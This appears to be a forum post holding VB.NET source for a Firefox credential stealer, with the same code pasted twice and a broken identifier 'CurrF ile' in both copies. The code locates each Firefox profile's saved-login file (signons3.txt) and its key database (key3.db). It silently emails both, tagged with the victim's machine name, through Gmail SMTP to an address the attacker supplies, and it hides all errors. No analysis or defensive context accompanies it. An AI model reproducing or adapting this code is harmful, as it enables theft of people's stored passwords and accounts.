elimiz
یک شنبه 11 دی 1390, 20:12 عصر
Imports System.Net.Mail
Imports Microsoft.Win32
Imports System.IO
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Try
Dim FoundFile As Boolean = False
Dim DefaultPath As String = Environment.GetEnvironmentVariable("APPDATA") & "\Mozilla\Firefox\Profiles"
Dim Dirs As String() = Directory.GetDirectories(DefaultPath)
For Each dir As String In Dirs
If Not FoundFile Then
Dim Files As String() = Directory.GetFiles(dir)
For Each CurrFile As String In Files
If Not FoundFile Then
If System.Text.RegularExpressions.Regex.IsMatch(CurrF ile, "signons3.txt") Then
Dim key4 As String = CurrFile.Replace("key3.db", "key4.db")
If File.Exists(key4) Then
File.Delete(key4)
End If
Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress("you@gmail.com") 'Address from builder
MyMailMessage.To.Add("you@gmail.com") 'Address from builder
MyMailMessage.Subject = "FFPass: " & System.Environment.MachineName
MyMailMessage.Body = "Hello"
MyMailMessage.Attachments.Add(New Attachment(CurrFile))
Dim keys As String = CurrFile.Replace("signons3.txt", "key3.db")
System.IO.File.Copy(keys, keys.Replace("key3", "key4"))
MyMailMessage.Attachments.Add(New Attachment(keys.Replace("key3", "key4")))
Dim SMPT As New SmtpClient("smtp.gmail.com")
SMPT.Port = 587
SMPT.EnableSsl = True
SMPT.Credentials = New System.Net.NetworkCredential("you@gmail.com", "yourgmailpassw0rd") 'vaqxg
SMPT.Send(MyMailMessage)
FoundFile = True
End If
Else
Exit For
End If
Next
Else
Exit For
End If
Next
Catch ex As Exception
End Try
End Sub
End Class
Imports Microsoft.Win32
Imports System.IO
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Try
Dim FoundFile As Boolean = False
Dim DefaultPath As String = Environment.GetEnvironmentVariable("APPDATA") & "\Mozilla\Firefox\Profiles"
Dim Dirs As String() = Directory.GetDirectories(DefaultPath)
For Each dir As String In Dirs
If Not FoundFile Then
Dim Files As String() = Directory.GetFiles(dir)
For Each CurrFile As String In Files
If Not FoundFile Then
If System.Text.RegularExpressions.Regex.IsMatch(CurrF ile, "signons3.txt") Then
Dim key4 As String = CurrFile.Replace("key3.db", "key4.db")
If File.Exists(key4) Then
File.Delete(key4)
End If
Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress("you@gmail.com") 'Address from builder
MyMailMessage.To.Add("you@gmail.com") 'Address from builder
MyMailMessage.Subject = "FFPass: " & System.Environment.MachineName
MyMailMessage.Body = "Hello"
MyMailMessage.Attachments.Add(New Attachment(CurrFile))
Dim keys As String = CurrFile.Replace("signons3.txt", "key3.db")
System.IO.File.Copy(keys, keys.Replace("key3", "key4"))
MyMailMessage.Attachments.Add(New Attachment(keys.Replace("key3", "key4")))
Dim SMPT As New SmtpClient("smtp.gmail.com")
SMPT.Port = 587
SMPT.EnableSsl = True
SMPT.Credentials = New System.Net.NetworkCredential("you@gmail.com", "yourgmailpassw0rd") 'vaqxg
SMPT.Send(MyMailMessage)
FoundFile = True
End If
Else
Exit For
End If
Next
Else
Exit For
End If
Next
Catch ex As Exception
End Try
End Sub
End Class